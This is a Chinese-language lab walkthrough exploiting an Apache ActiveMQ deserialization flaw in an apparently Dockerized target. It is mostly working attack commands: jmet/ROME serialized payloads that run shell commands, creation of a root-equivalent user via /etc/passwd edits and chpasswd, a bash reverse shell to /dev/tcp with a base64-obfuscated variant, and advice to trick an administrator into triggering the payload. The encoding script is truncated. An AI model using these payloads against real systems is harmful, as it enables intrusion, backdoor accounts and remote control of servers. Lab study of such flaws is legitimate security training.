1.漏洞介绍。
2.环境介绍。
靶机:172.18.0.1:8161
环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问http://your-ip:8161
即可看到web管理页面,不过这个漏洞理论上是不需要web的。
3.漏洞利用。
3.1漏洞利用过程简述。
- 构造(可以使用ysoserial)可执行命令的序列化对象
- 作为一个消息,发送给目标61616端口
- 访问web管理页面,读取消息,触发漏洞
3.2具体过程。
账号:admin 密码:admin
首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar //下载jar文件 mkdir external //创建external文件夹
执行命令:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 172.18.0.1 61616
//创建/tmp/success,同理可进行其他命令的操作
我们返回管理界面,发现添加了一个名为事件的队列。
docker ps
docker exec -it b189872443f5 /bin/bash
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 Tom" -Yp ROME 172.18.0.1 61616
触发条件和之前相同,在管理界面去点击队列
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "sed -i "s/test:x:10010/Tom:x:0/g" /etc/passwd" -Yp ROME 172.18.0.1 61616
//修改权限
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "echo "Tom:sd123456" | chpasswd" -Yp ROME 172.18.0.1 61616
//添加密码
至此,一个权限为root,密码为123456的用户被我们创建成功,之后可以直接进行ssh远程连接
bash -i >& /dev/tcp/172.18.0.1/777 0>&1
使用base64编码payload绕过Java机制
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTguMC4xLzc3NyAwPiYx
附上base64编码脚本
import base64 # Sample string to encode string = "bash -i >& /dev/tcp/172.18.0.1/777 0>&1" # Encoding the string encoded_string = base64.b64encode(string.encode('utf-8' # Printing the encoded string print(encoded_string.decode('utf-8'
构建pyload
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTguMC4xLzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 172.18.0.1 61616
使用nc监听端口
值得注意的是,通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。